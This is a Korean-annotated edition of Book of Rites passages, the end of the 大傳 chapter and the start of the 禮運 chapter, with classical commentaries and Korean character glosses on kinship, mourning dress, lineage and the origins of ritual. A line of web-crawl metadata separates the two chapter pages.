從服이 有六하니, 有屬從하며, 有徒從하며, 有從有服而無服하며, 有從無服而有服하며, 有從重而輕하며, 有從輕而重하니라.[222]\n屬은 親屬也라. 子이 從母而服母黨하고, 妻이 從夫而服夫黨하고, 夫이 從妻而服妻黨하니 是는 屬從也라. 徒는 空也니 非親屬而空從之服其黨이니 如臣從君而服君之黨하고, 妻從夫而服夫之君하고, 妾服女君之黨하고, 庶子이 服君母之父母하고, 子이 服母之君母이 是徒從也라. 如公子之妻이 爲父母期而公子이 爲君所厭하야 不得服外舅外姑면 是는 妻有服而公子이 無服이요, 如兄有服而嫂無服이면 是는 從有服而無服也라. 公子이 爲君所厭하야 不得爲外兄弟服而公子之妻則服之하고, 妻이 爲夫之昆弟엔 無服而服娣姒하니 是는 從無服而有服也라. 妻이 爲其父母期하니 重也로대 夫이 從妻而服之三月則 爲輕하니 母이 爲其兄弟之子하야 大功하니 重也로대 子이 從母而服之三月則 爲輕하니 此는 從重而輕也라. 公子이 爲君所厭하야 自爲其母練冠하니 輕矣而公子之妻이 爲之服期하니 此는 從輕而重也라.\n[娣:여동생제,손아랫동서제][姒:맏동서사,형수,언니][期:기년,만1년][練:小祥服련.練冠:깨끗한비단으로만든관]\n11. 自仁率親하야 等而上之하야 至于祖를 名曰輕이요, 自義率祖하야 順而下之하야 至于禰를 名曰重이니 一輕一重이 其義然也니라.[223]\n疏曰 自는 用也요, 仁은 恩也요, 率은 循也요, 親은 父母也요, 等은 差也라. 子孫이 若用恩愛依循於親하야 節級而上하야 至於祖遠者이 恩愛漸輕故로 名曰 輕也라. 義는 主斷割하니 用義循祖하야 順而下之하야 至於禰라. 其義이 漸輕호대 祖則義重故로 名曰 重也라. 義則祖重而父母이 輕하고, 仁則父母이 重而 祖이 輕하니 一輕一重이 宜合如是라. 故,云 其義然也라. 按 喪服條例에 衰服이 表恩이라하니 若高曾之服은 本應緦麻小功而進以齊衰는 豈非爲尊重而然邪아! 至親을 以期로 斷而父母三年이 寧不爲恩深乎아?\n[馬氏曰以祖對禰則禰爲仁以禰對祖則祖爲義祖以義爲主禰以仁爲本故曰自仁率親等而上之以至于祖名曰輕以其義有所殺也自義率祖順而下之以至于禰名曰重以其仁有所隆也唯其仁有所隆義有所殺其理不得不然故曰一輕一重其義然也]\n12-1. 君이 有合族之道이어든 族人이 不得以其戚으로 戚君[句]는 位也라.[224]\n君恩은 可以下施라. 故,於族人에 有合聚燕飮之禮而族人則 皆臣也라. 不敢以族屬父兄子弟之親而上親於君者는, 一則 君有絶宗之道하고, 二則以嚴上下之辨而杜篡代之萌也이니라.\n○ 石梁王氏이 曰, 詳註 下文에 以十一字로 爲句이나 然位也이 當自爲句니 蓋 族人이 不敢戚君者는 限於位也니라.\n[慶源輔氏曰君有合族之道親親仁也族人不得以其戚戚君尊尊義也上所行者仁下所守者義]\n12-2. 庶子이 不祭는 明其宗也요, 庶子이 不得爲[去聲]長子三年은 不繼祖也라.[226]\n說見前篇하다.\n[朱子曰依大傳文直謂非大宗則不得祭別子之爲祖者非小宗則各不得祭其四小宗所主之祖禰也其小記則云庶子不祭禰明其宗也又云庶子不祭祖明其宗也文意重複似是衍字而鄭氏曲爲之說於不祭禰則曰謂宗子庶子俱爲下士得立禰廟也雖庶人亦然則其尊宗以爲本也於不祭祖則云禰則不祭矣言不祭祖者主謂宗子庶子俱爲適士得立祖禰廟者也凡正體在乎上者謂下正猶爲庶也族人上不戚君下又辟宗乃後能相序而疏亦從之上條云禰適故得立禰廟故祭禰禰庶故不得立禰廟故不得祭禰明其有所宗也下條云庶子適子俱是人子竝宜供養而適子烝嘗庶子獨不祭者正是推本崇適明有所宗也又云父庶卽不得祭父何暇言祖而言不祭祖故知是宗子庶子俱爲適士適子得立二廟自禰及祖是適宗子得立祖廟祭之而已是祖庶雖俱爲適士得自立禰廟而不得立祖廟祭之也正體謂祖之適也下正謂禰之適也雖爲禰適而於祖猶爲庶故禰適謂之爲庶也五宗悉然今姑從之然恐不如大傳語雖簡而事反該悉也]\n13. 別子이 爲祖요, 繼別이 爲宗이요, 繼禰者이 爲小宗이니, 有百世不遷之宗하며 有五世則遷之宗하고, 百世不遷者는 別子之後也라. 宗其繼別子(之所自出)者는 百世不遷者也요, 宗其繼高祖者는 五世則遷者也라. 尊祖故이 敬宗이니 敬宗이 尊祖之義也라.[227]\n宗其繼別子者는 百世不遷者也라. 之所自出四字는 朱子이 曰衍文也라. 凡大宗을 族人이 與之爲絶族者는 五世外에 皆爲之齊衰三月이요, 母妻이 亦然이라. 爲小宗者則以本親之服으로 服之하니 餘竝說見前篇하다.\n[長樂陳氏曰大宗則一故雖至於五世之外猶爲之齊衰三月此所謂百世不遷也小宗則有四有繼禰而親兄弟宗之爲之服期年有繼祖而同堂宗之爲之服九月有繼曾祖而再從宗之爲之服五月有繼高祖者而三從宗之爲之服三月至於四從親屬盡絶則不爲之服此所謂五世則遷者也蓋太宗始祖之親始祖之廟以義立而百世不毁小宗高祖之統高祖之廟以恩立而五世則遷以其廟之遷不遷之不同故其宗所以易不易之不齊也凡此皆卿大夫之制至於公子則具下文]\n[○東萊呂氏曰尊祖故敬宗敬宗尊祖之義也蓋諸侯必敬宗子者以宗子是祖之嫡尊所以自來故敬嫡也]\n14. 有小宗而無大宗者하며 有大宗而無小宗者하며 有無宗亦莫之宗者하니 公子이 是也라.[229]\n君無適昆弟하야 使庶兄弟一人으로 爲宗하야 以領公子를 其禮이 亦如小宗하니 此之謂有小宗而無大宗也요, 君有適昆弟하야 使之爲宗하야 以領公子하고, 更不得立庶昆弟하야 爲宗이니 此之謂有大宗而無小宗也라. 若公子이 止一人이요 無他公子可爲宗이면 是는 無宗也이니, 則 亦無他公子이 宗於己矣라. 此之謂無宗亦莫之宗也라. 前所論宗法은 是 通言卿大夫大小宗之制요, 此則專言 國君之子이 上不得宗君하고, 下未爲後世之宗이 有此三事也라.\n[程子曰凡言宗者以祭祀爲主言人宗於此而祭祀也別子爲祖上不敢宗諸侯故不祭下亦無人宗之此無宗亦莫之宗也別子之嫡子卽繼父爲大宗此有大宗而無小宗也別子之諸子祭其別子別子雖是祖然是諸子之禰繼禰者爲小宗此有小宗而無大宗也有小宗而無大宗此句極難理會蓋本是大宗之祖別子之諸子稱之却是禰也]\n15. 公子이 有宗道하니 公子之公이 爲其士大夫之庶者하야 宗其士大夫之適者하나니 公子之宗道也라.[230]\n此는 又申言公子之宗道라. 公子之公은 謂公子之適兄弟爲君者이 爲其庶兄弟之爲士爲大夫者하야 立適公子之爲士大夫者爲宗하야 使此庶者로 宗之라. 故,云 宗其士大夫之適者라 하니 此適은 是君之同母弟適夫人所生之子也라.\n16-1. 絶族은 無移[去聲]服하니 親者는 屬也니라.[231]\n三從兄弟는 同高祖라. 故,服緦麻하고 至四從則族屬이 絶하야 無延及之服矣라. 移는 讀爲施니 在旁而及之曰施라. 服之相爲는 以有親而各以其屬으로 爲之服耳라. 故,云 親者는 屬也니라.\n[嚴陵方氏曰九族之外謂之絶族以其恩至此絶故也有恩則有服以其恩絶故無施服也夫以卑而屬尊以幼而屬長以庶而屬適以旁而屬正親親之道如斯而已故曰親者屬也族絶卽非其所屬]\n16-2. 自仁率親하야 等而上之하야 至于祖하며 自義率祖하야 順而下之하야 至於禰니 是故로 人道는 親親也라. 親親故로 尊祖하고 尊祖故로 敬宗하고 敬宗故로 收族하고 收族故로 宗廟이 嚴하고 宗廟이 嚴故로 重社稷하고 重社稷故로 愛百姓하고 愛百姓故로 刑罰이 中[去聲]하고 刑罰이 中故로 庶民이 安하고 庶民이 安故로 財用이 足하고 財用이 足故로 百志成하고 百志成故로 禮俗이 刑하고 禮俗이 刑然後에사 樂[洛]하나니 詩호대 云 不顯不承가 無斁[亦]於人斯이라하니 此之謂也로다.[231]\n祖之遷者이 逾遠하고, 宗之繼者이 無窮하니, 必知尊祖라도 乃能敬宗이라. 收는 不離散也니 宗道이 旣尊故로 族無離散而祭祀之禮이 嚴肅하야 內嚴宗廟之事라. 故,外重社稷之禮니 知社稷之不可輕則知百官族姓之當愛요, 官得其人則刑不濫而民安其生이라. 安生樂業而食貨所資이 上下俱足이니, 有恒産者는 有恒心倉廪實而知禮節이라. 故,非心邪念不萌而百志以成하고, 乖爭陵犯不作而禮俗이 一致니라. 刑은 猶成也니 如此則協氣嘉生하야 薫爲太和矣리니 豈不可樂乎라? 詩는 周頌淸廟之篇이니 言,文王之德이 豈不光顯乎며, 豈不見尊奉於人乎아? 無厭斁於人矣라하니 引此하야 以喩人君이 自親親之道로 推之而家而國而天下하야 至於禮俗이 大成이면 其可樂者이 亦無有厭斁也니라.\n[嚴陵方氏曰親其所親則推而上之至於親之所親親之所親則尊矣故曰親親故尊祖有祖而後有宗宗者五宗也有宗而後有族族者九族也宗廟者祖禰之祀也社稷者土穀之神也族屬雖以祖禰而後生然非子孫衆多則無以共承宗廟之祭祀宗廟雖以有土穀而後立然非祖禰積累則無以保守社稷之基業故曰收族故宗廟嚴宗廟嚴故重社稷有社有稷必得人而共守是以重社稷故愛百官族姓也有愛人之心則刑不濫故庶民安其生而樂其業則農者生財於田野商者通財於道路而足以致用故養生送死無憾而百志成也百志成則禮義於是乎生故禮俗刑禮俗刑矣則爭鬪之患息和平之氣通故曰然後樂不顯不承則親親尊祖之意也無斁於人斯其樂之意也故引詩之言以明之]\n[○新安王氏曰此詩頌文王之德記此傳者卽之以明己意夫不顯顯也不承承也親親尊祖敬宗收族而宗廟嚴豈不顯乎推其效至於財用足百志成禮俗刑豈不承乎禮俗刑而民樂豈非人之無斁乎][斁:무너질두,패하다.싫을역]","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/jkch.namoweb.net\/cham\/han\/yeky\/16-dai-jeon.htm","date":"2018-09-25T07:46:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267161214.92\/warc\/CC-MAIN-20180925063826-20180925084226-00113.warc.gz","language":"lzh","language_score":0.551726222,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.551726222038269, \"cmn_Hani_score\": 0.23998740315437317, \"kor_Hang_score\": 0.13852813839912415, \"jpn_Jpan_score\": 0.05355486273765564}","num_words":788,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.004,"flagged_words_ratio":0.0,"lang_id_score":0.552,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"此篇은 記帝王禮樂之因革,及陰陽造化流通之理하니 疑出於子游門人之所記라. 間有格言,而篇首大同小康之說은 則非夫子之言也라.\n[張子曰禮運云者語其達也禮器云者語其成也達與成體與用之道也]\n[長樂陳氏曰道則運而無所積器則滯而有所拘禮器言禮之器則禮運言禮之道也]\n1-1. 昔者에 仲尼與於蜡[乍]賓이러시니 事畢하시고 出遊於觀[去聲]之上하사 喟[去媿反]然而嘆하시니 仲尼之嘆은 蓋嘆魯也러시다. 言偃이 在側하야 曰호대 君子는 何嘆이시닛고. 孔子ㅣ 曰호대 大道之行也와 與三代之英을 丘이 未之逮也나 而有志焉호라.[315]\n蜡禮는 詳見郊特牲篇하니 孔子在魯하사 與爲魯國蜡祭之賓하시니 事畢而遊於觀上하시니 觀은 門闕也라. 兩觀이 在門之兩旁하니 懸國家典章之言於上하야 以示人也라. 喟然은 嘆聲也니 所以嘆魯者는 或祭事之失禮며 或因.睹舊章而思古也라. 言偃은 孔子弟子.子游也이니, 問所以嘆之故하니 夫子이 言我思古昔大道之行於天下와 與夫三代英賢之臣이 所以得時行道之盛하니 我이 今雖未得及見此世之盛이나 而有志於三代英賢之所爲也라 하시니 此亦夣見周公之意라.\n○石梁王氏이 曰以五帝之世로 爲大同하고, 以禹湯文武成王周公으로 爲小康은 有老氏意而註에 又引以實之하고, 且謂禮爲忠信之薄은 皆非儒者語라. 所謂孔子이 曰은 記者이 爲之辭也라.\n[蔣游氏曰古者歲時蜡禮之講終以序飮其重農力本存愛示情之意見於祈祝禱禳之間勞來勸相之際仁之至義之盡今也聖人傷世僞之寖起知古典之無傳而於蜡賓畢事之後出爲觀上之遊喟然爲之太息記者紀其所嘆在魯魯之郊禘非禮也其蜡可知矣然則發蜡之旨微矣聖人傷治古之不復因蜡禮而有見不有偃也爲之發問則何以窮夫子感嘆之機夫旣以帝者之事爲大同而指三代爲小康矣而均曰未之逮也而有志焉何哉此有以見聖人思欲還上古之風而不可得而猶思其次也故其下歷歷言之○嚴陵方氏曰時繫乎聖人之在上者也孔子以窮而在下不得其時故其言如此然時無常也或可待焉故止言未而已]\n1-2. 大道之行也에 天下를 爲公하야 選[去聲]賢與能하며 謂信脩睦하더니 故로 人이 不獨親其親하며 不獨子其子하야 使老 有所終하며 壯有所用하며 幼有所長하며 矜[鰥]寡孤獨廢疾者이 皆有所養하며 男有分[扶問反]이오. 女有歸하며 貨惡其棄於地也이언정 不必藏於己하며 力惡其不出於身也이언정 不必爲[去聲]己니, 是故. 謀閉而不興하며 盜竊亂賊이 而不作이라. 故로 外戶而不閉니 是謂大同이라.[318]\n天下爲公은 言不以天下之大로 私其子孫하니 而與天下之賢聖으로 公共之하니 如堯授舜舜하시며 授禹하사 但有賢能에 可選卽授之矣니, 當時之人이 所講習者이 誠信이요, 所修爲者이 和睦이니, 是以로 親其親하야 以及人之親하고 子其子하야 以及人之子하야 使老者.壯者.幼者로 各得其所하고, 困窮之民으로 無不有以養之하야 男則各有士農工商之職分하고, 女則得歸於良奧之家하고, 貨財는 民生所資以爲用者이니 若棄捐於地而不以時收貯면 則廢壞而無用이니 所以惡其棄於地也라. 今但得有能收貯하야 以資世用者면 足矣니, 不必其擅利而私藏於己也라. 世間之事에 未有不勞力而能成者로대 但,人情이 多詐하야 共事則欲逸已而勞人하야 不肯盡力하니 此所以惡其不出於身也라. 今,但得各竭其力하야 以共成天下之事足矣니 不必其用力而獨營己事也라. 風俗이 如此면 是以姦邪之謀이 閉塞而不興하고 盜竊亂賊之事이 絶㓕而不起하야 暮夜無虞하야 外戶可以不閉니, 豈非公道大同之世乎아? 一說에 外戶者는 戶設於外而閉之向內也라.\n[蔣氏曰大道之行天下爲公居上者恬於勢位而不以爲樂在下者安於困貧而不以爲尤是以德化自行而防範不立情意易通而機巧不生故位以賢能而任非有所私而立之也人以信睦爲交非制之使然也推而至於耆老幼壯鰥寡孤獨之人交相養於天地之間而不見其病男自然而有分女自然而有歸貨惡其棄於地而已力惡其不出於身而已是豈有一毫相攘相軋之習哉凡若此者非聖人用力而致之也故揚而擧之於大同之時惟帝者之事足以當之○嚴陵方氏曰天生其利人棄不取是以人逆天也故貨棄於地爲可惡人犯其勞我享其效是因人成事也故力不出於身爲可惡取非其有謂之盜伺間而發謂之竊絶理謂之亂毁則謂之賊]\n1-3. 今엔 大道이 旣隱하야 天下를 爲家하야 各親其親하며 各子其子하며 貨力을 爲己하며 大人이 世及以爲禮하며 城郭溝池以爲固하며 禮義以爲紀하야 以正君臣하며 以篤父子하며 以睦兄弟하며 以和夫婦하며 以設制度하며 以立田里하며 以賢勇知[去聲]하며 以功爲己니 故로 謀用是作하야 而兵由此起하나니 禹․湯․文․武․成王․周公이 由此其選[去聲]也이시니 此六君子者이 未有不謹於禮者也라. 以著其義하며 以考其信하며 著有過하며 刑仁하며 講讓하야 示民有常하시니, 如.有不由此者면 在執[勢]者이 去[上聲]하야 衆이 以爲殃이라 하나니 是謂小康이라.[321]\n天下爲家는 以天下로 爲私家之物而傳子孫也요, 大人은 天子諸侯也라. 父子相傳이 爲世요, 兄弟相傳이 爲及이라. 紀는 綱紀也라. 賢勇知는 以勇知로 爲賢也라. 涿鹿之戰과 有苖之征이 兵.非由後王起也라. 謂兵由此起는 擧湯武之事言之耳라. 著는 明也요, 考는 成也라. 刑仁은 謂法則仁愛之道요, 講讓은 講說遜讓之道라. 示民有常은 言六君子이 謹禮而行著義以下五事하야 示民爲常法也라. 在執는 居主者之勢位也니 言爲天下之君而不以禮로 行此五事則天下之人이 以爲殃民之主而共廢黜之也이니, 此.謂小小安康之世이 不如大道大同之世也라.\n○ 陳氏曰禮家이 謂太上之世는 貴德이요, 其次는 務施報往來故로 言大道爲公之世는 不規規於禮하니, 禮乃道德之衰, 忠信之薄이라하니, 大約出於老荘之見이요, 非先聖格言也이니라.\n[嚴陵方氏曰前言大道之行則知大道隱之爲廢此言大道旣隱則知大道行之爲明矣前言天下爲公則以與賢故也故繼言選賢與能此言天下爲家則以與子故也故繼言各親其親各子其子焉大人世以爲禮則各子其子故也及以爲禮則各親其親故也道大而有變則爲之綱者道也禮義小而有常故以爲紀焉道之綱則君臣固有義矣父子固有親矣兄弟固有序矣夫婦固有別矣及以禮義爲紀則因其義而正之因其親而篤之因其序而睦之因其別而和之故曰以正君臣以篤父子以睦兄弟以和夫婦]\n[長樂陳氏曰大道之行天下爲公而與人大道旣隱天下爲家而與子與人與子固出於天聖人所以順天而趨時也然其爲公者非不家之以爲公者爲主爲家者非不公之以爲家者爲主至於不獨親其親不獨子其子貨力不必藏於己非無所別也各親其親各子其子貨力爲己非無以待人也亦以其所主者異矣選賢與能講信脩睦六君子非不由之禮義以爲紀堯舜非不用之特其有所輕重淺深煩簡之不一耳]\n[蔣氏曰聖人處大同之世固能運無爲之化聖人處小康之時要亦無不盡之心夫惟無不盡之心而後能居小康之時成極治之化當大道之隱使大道之行以此言之帝王有異時無異道聖人因蜡以思禮其不能無望於魯而有志於帝王之世者如此]\n2. 言偃이 復問曰호대 如此乎禮之急也이닛가? 孔子이 曰호대 夫禮는 先王이 以承天之道하시며 以治人之情이니 故로 失之者이 死하고 得之者이 生하나니 詩에 曰호대 相[去聲]鼠有體어늘 人而無禮아! 人而無禮는 胡不遄死요 하니 是故로 夫禮는 必本於天하며 殽[效]於地하며 列於鬼神하며 達於喪祭․射御․冠[去聲]昏․朝聘하니 故로 聖人이 以禮示之하시니, 故로 天下國家를 可得而正也니라.[325]\n禮本於天은 天理之節文也라. 殽는 效也이니 效於地者는 效山澤高卑之勢하야 爲上下之等也라. 後章.殽以降命以下에 乃詳言之라. 列於鬼神은 禮有五經에 莫重於祭也니 喪祭以下八事는 人事之儀則也라.\n[金華應氏曰上數語明禮之功用以明夫人生死之所由係下四語總禮之體用以明天下國家治亂之所由別也法於天地鬼神者理也所以承天之道也達於天下國家者事也所以治人之情也理與事一而二二而一者也]\n[嚴陵方氏曰禮本乎天之道故先王制禮所以承天之道禮出乎人之情故先王制禮還以治人之情人之所欲莫甚於生所惡莫甚於死禮之得失遂有死生之道此其所以爲急歟於天曰木於地曰殽於鬼神曰列皆言禮之所以立也至於禮之所以行則有見於喪祭射御冠昏朝聘焉見於喪祭射御冠昏朝聘則禮達於下矣故以達言之]\n[馬氏曰天降衷於民而先王之爲禮所以繼天之衷也故曰以承天之道夫口之扵味目之於色耳之於聲鼻之扵臭四肢之於安逸人情之所同也人情之所同而縱之則㓕天理而窮人欲故先王制爲禮以節之也故曰以治人之情胡不遄死者未至於死而人欲其死也]\n3. 言偃이 復問曰호대 夫子之極言禮也는 可得而聞歟이닛가? 孔子ㅣ 曰하사대 我欲觀夏道호리라. 是故로 之杞호니 而不足徵也요. 吾得夏時焉하며 我欲觀殷道호리라. 是故로 之宋호니 而不足徵也요, 吾得坤乾焉호니 坤乾之義와 夏時之等을 吾以是觀之하노라.[327]\n杞는 夏之後요, 宋은 殷之後라. 徵은 證也라. 孔子이 言我欲觀考夏殷之道. 故適二國而求之하니 意其先代舊典. 故家遺俗이 猶有存者로대 乃皆無可徵騐者라. 僅於杞에 得夏時之書하고, 於宋에 得坤乾之易耳라. 夏時는 或謂卽今夏小正이요, 坤乾은 得歸藏商易에 首坤次乾也라. 所謂坤乾之義理와 夏時之等列은 吾但以此二書로 觀之而已니, 二代治天下之道를 豈可悉得而聞乎아? 論語에 曰 文獻에 不足故也라 하니라.\n○ 石梁王氏曰以坤乾으로 合周禮之歸藏이 且有魯論所不言者하니 恐漢儒이 依倣爲之라. 誠如其說則夏小正之書與坤乾何足以證禮리요? 註에 訓徵.爲成하니 尤非라. 近儒이 有反引此以解魯論,者하니 謬甚이요. 中庸에 亦無是說하니 大槩此段은 倣魯論爲之者라.\n[騐=驗:증험,시험][杞:소태나무.杞憂:杞人之憂의 준말. 기(杞)나라 사람이 하늘이 무너지 않을까 걱정했다는 고사]\n[嚴陵方氏曰坤乾不謂之書而謂之義夏時不謂之書而謂之等者禮以達義於內辨等於外也天地之理爲妙故以義言內四時之迹爲顯故以等言外也]\n[臨川吳氏曰杞宋爲二王之後其國得用夏殷之禮以祀其先夫子欲觀夏殷之禮意謂杞宋二國必猶有其先世之禮存焉故往二國求之及至其國乃知二國無復能存其禮故皆不足證但於杞得夏時一書扵宋得坤乾一書坤乾之書其義略可推夏時之書其等略可見夏禮殷禮其他旣無可證騐吾姑以是二書觀之而已吾以是觀之蓋不滿意之辭按論語所記與此章大同小異彼謂文獻不足徵者文是記禮之書獻是習禮之人此言之杞之宋而不足徵蓋亦謂無其人而文則猶有夏時坤乾二書然亦非足徵者也此其所以不滿夫子之意乎]\n4-1. 夫禮之初는 始諸飮食하니 其燔黍捭[百]豚하며 汙[烏花反]尊而抔[掊]飮하며 蕢桴[浮]而土皷이 猶若可以致其敬於鬼神이니라.[329]\n燔黍은 以黍米로 加於燒石之上하야 燔之使熟也요, 捭豚은 擘析豚肉하야 加於燒石之上而熟之也라. 汙尊은 掘地爲汙坎하야 以盛水也라. 抔飮은 以手掬而飮之也라. 蕢桴는 摶土塊하야 爲擊鼔之椎也라. 土鼔는 築土爲鼔也라. 上古에 之心이 無僞하야 雖簡陋如此이나 亦自可以致敬於鬼神也라.\n[延平周氏曰上古之世未始知有禮而有禮乃所以強世故聖人因其有飮食之大欲而少寓之以節文此天下惟知飮食之充欲而不知漸入於節文之中也所謂飮食者止於燔黍捭豚汙尊而抔飮與夫蕢桴土鼔凡此不唯可施於人之所交際而猶若可以致敬於鬼神蓋亦趨時而已矣]\n[蔣氏曰上古鼎飪未其而燔捭以爲食壘酌未設而汙抔以爲飮聲樂未偹而蕢土以爲歡彼其所交際應酬者簡素質實而巧僞不形則以此而接乎鬼神自其一念之誠而施之有餘也]\n[嚴陵方氏曰此言禮之初方是時地産之穀有黍然未有釜甑也故燔之天産之物有豚然未有刀匕也故捭之尊未能鑿木也故汙尊飮未知用爵也故抔飮皆始諸飮食之事鬼神之道幽而難格菲薄之禮疑若不及以致其敬也故以猶若言之可疑之詞也]\n[燔:불사를번,제육][捭:칠패,가를벽][擘:쪼갤벽,나눔,엄지(大指)][燒:사를소][掘:팔굴,굴][汙=汚(坎)[抔:웅큼부][掬:두손웅큼국][蕢:삼태기궤][桴:용마루부][摶:뭉칠단,엉킴,맺침][塊:흑덩이궤][椎:방망이추]\n[飪:익힐임][壘:진,보루][酌:따를작][偹=備][甑:시루증]\n4-2. 及其死也하야 升屋而號[平聲]하야 告曰 皐 某아 復하사 然後에아 飯[上聲]腥而苴[玆於反]孰하나니 故로 天望而地藏也니 體魄則降하고 知[去聲]氣在上이니 故로 死者는 北首[去聲]하고 生者는 南鄕[去聲]하나니 皆從其初니라.[331]\n所以升屋者는 以魂氣之在上也라. 皐者는 引聲之言이라. 某는 死者之名也니 欲招此魂하야 令其復合體魂하고, 如是而不生이어든 乃行死事니. 飯腥者는 用上古未有火化之法하야 以生稻米로 爲含也이요, 苴孰者는 用中古火化之利하야 包裹孰肉하야 爲遣送之奠也라. 天望地藏은 謂始死면 望天而招魂하고 體魄則葬藏於地也라. 所以然者는 以體魄則降而下요 知氣則升而上也라. 死者之頭는 向北하고, 生者之居는 向南. 及以上送死諸事는 非後世創爲之라. 皆是從古初.所有之禮也라.\n[嚴陵方氏曰飯必以腥慮致生之不知故也苴必以孰又慮致死之不仁故也後世於喪有奠始扵飯腥而已於葬有遣始於苴孰而已體有所附魄有所營皆重濁焉則陰之類也故降而在下知無不周氣無不之皆輕淸焉則陽之類也故升而在上郊特牲不言體魄而言形魄不言知氣而言魂氣者亦互相備也死者仆故言首生者興故言鄕凡是禮也後世雖或增其文而不能損禮之實雖或異其迹而不能易禮之意故曰皆從其初]\n[臨川吳氏曰體魄謂形體精魄降謂降下在地知氣謂神識魂氣在上謂升上在天其號其告望而求諸天之陽明者蓋爲知氣之在上而然此時猶以生道處之冀其知氣來復而可以生也始則飯腥終則苴孰藏而歸諸地之陰幽者蓋爲體魄之降而然此時始以死道處之俾其體魄得所而安於死也]\n[仆:업드릴부][俾:더할비,좇다]\n5-1. 昔者에 先王이 未有宮室이라 冬則居營窟하고 夏則居櫓[曾]巢하시며 未有火化라 食草木之實과 鳥獸之肉하며 飮其血하고 茹[汝]其毛하며 未有麻絲라 衣[去聲]其羽皮[去聲]하더니[333]\n營窟者는 營累其土하야 以爲窟穴也라. 地高則穴於地中하고 地卑則於地上에 累土爲窟也라. 櫓巢者는 櫓聚薪柴하야 以爲巢居也라. 茹其毛者는 以未有火化라. 故로 去毛不能盡而竝食之也라.\n[嚴陵方氏曰孟子所謂下者爲巢上者爲營窟是矣前旣言燔黍矣此乃未有火化者先儒謂加黍於燒石之上非火化故也]\n[臨川吳氏曰營窟土處以避寒也櫓巢木處以避暑也飢則食鳥獸之肉寒則取鳥之羽獸之皮以衣而蔽其體也此以上所言皆是上古時事爲太朴陋不可從也下文乃言上古以後可從之禮]\n[櫓:땔나무신,장작신,섶신][薪柴:장작과섶]\n5-2. 後聖이 有作하사 然後에 修火之利하고 范金合土하야 以爲臺榭.宮室.牖戶하며, 以炮[庖]하며, 以燔하며, 以亨[烹]하며, 以炙[隻]하며, 以爲醴酪[洛]하며, 治其麻絲하야 以爲布帛하야 以養生送死하며, 以事鬼神上帝하니 皆從其朔이니라.[334]\n范字는 當從竹이니 韻注에 云以土曰型이요, 以金曰鎔이요, 以木曰模이요, 以竹曰范이니, 皆鑄器之式也라. 范金은 爲刑範以鑄金器也요, 合土는 和合泥土하야 爲鑄器也요, 裹而燒之曰炮요, 加於火上曰燔이요, 煮於鑊曰亨이요, 貫串而置之火上曰炙이요, 酪은 醋也요, 治는 湅染之類也라. 此以上諸事는 皆火之利니, 今世承用而爲之皆是取法往聖故로 云皆從其朔이라 하니, 朔亦初也라.\n[嚴陵方氏曰上世未有火化非無火之性也特未能修之以利人爾夫爲宮室之類然後足以代巢窟爲醴酪之類然後足以代血毛爲布帛之類然後足以代羽皮是道也不特可以養生於其始又可以送死於其終不特可以養生送死於其明又可以事鬼神上帝於其幽]\n[蔣氏曰自范金合土以下皆聖人開物成務以敎天下而使之相安相養於利用出入之間者也]\n[長樂陳氏曰夫開端之始謂之初繼終而有始謂之朔故天地之始亦可以言初一月之始則特謂之朔是以言禮之初則繼之以皆從其初後世有作則繼之以皆從其朔也]\n[榭:정자사][牖:바라지유][炮(포):그을리다.싸서굽다,삶다][庖:부억포][酪소적락][鑄:주물주][湅실삶을연]\n5-3. 故로 玄酒이 在室하고 醴醆이 在戶하며 粢[才細反]醍[體]는 在堂하며 澄酒는 在下하며 陳其犧牲하며 備其鼎俎하며 列其琴瑟管磬鐘鼔하며 脩其祝嘏[古雅反]하며 以降上神과 與其先祖하야 以正君臣하며 以篤父子하며 以睦兄弟하며 以齊上下하며 夫婦有所니 是謂承天之袩[戶]니라.[336]\n太古에 無酒하야 用水行禮러니 後王이 重古故로 尊之하야 名爲玄酒하니 祭則設於室內而近北也라. 醴는 猶體也라. 酒之一宿者를 周禮에 謂之醴齊라. 醆은 卽周禮盎齊니 盎은 猶翁也니 成而翁翁然葱白色也라. 此二者는 以後世所爲라. 賤之하야 陳列이 雖在室內而稍南近戶故로 云醴醆이 在戶也라. 粢醍는 卽周禮醍齊니 酒成而紅赤色也라. 又卑之하야 列於堂이라. 澄酒는 卽周禮沈齊니 成而滓沈也이니 又在堂之下矣라. 此五는 者各以等降設之라. 祝은 爲主人告神之辭요, 嘏는 爲尸致福於主人之辭니 說見曾子問하니라. 上神은 在天之神也라. 祭統 云 君이 迎牲而不迎尸는 別嫌也니, 是는 正君臣之義요, 父이 北面而事之는 所以明子事父之道이니, 是는 篤父子也요, 睦兄弟者는 主人이 獻長兄弟及衆兄弟之禮요, 齊上下者는 獻.與餕이 各有次序하야 無遺缺也요, 夫婦有所者는 君이 在阼이어시든 夫人이 在房及致爵之類也라. 行禮如此면 神格鬼享하야 豈不承上天之福祜乎아!\n[長樂陳氏曰道之精常幽玄而淡薄道之粗常明著而精美精則常貴而尊粗則常賤而卑先王於名數之間而未嘗不寓之以道德之意此玄酒所以在室醴醆所以在戶粢所以在堂澄所以在下也蓋玄酒則水也而陳之在室則室者幽之所而且尊也醴醆漸至於致味則用之於朝踐陳之於戶則戶者幽明之中而尊卑之際也粢醍則醴齊是也用之於饋食而陳之於堂堂者明之所而漸卑也澄酒則淸酒是也而用之於尸卒食之三獻故陳之於下下者明之尤著而且卑也昔先王之於鬼神以神道事之則以反齊以人道事之則以三酒犧牲所以致其養琴瑟鐘鼔所以致其樂祝嘏所以致其文此固足以降上神與先祖也然上神先祖之降在彼而天祜之承在我在彼者以禮物之所備在我者以禮敎之所成故必正君臣篤父子睦兄弟齊上下以至於夫婦有所也]\n[延平周氏曰有齊酒犠牲鐘鼔祝嘏則固足以降上神之與先祖然必待正君臣篤父子睦兄弟齊上下夫婦有所而後可以承天之祜者以備物盡禮爲未足以承天而所可承天者先脩人事而已矣]\n[馬氏曰犧牲者鼎俎之實鼎俎者犧牲之寓犧牲之未殺故言陳鼎俎之未實故言備祭祀之樂其類非一故言列祝者代子之辭以告孝於其父嘏者代父之辭以告慈於其子二者各有其職故言脩]\n[[醆:덜가라앉은술][粢:제사밥자][醍:맑은술제][澄:맑은술징][嘏:복하,클하][祜:복호][袩:옷깃흔드는모양첩,옷깃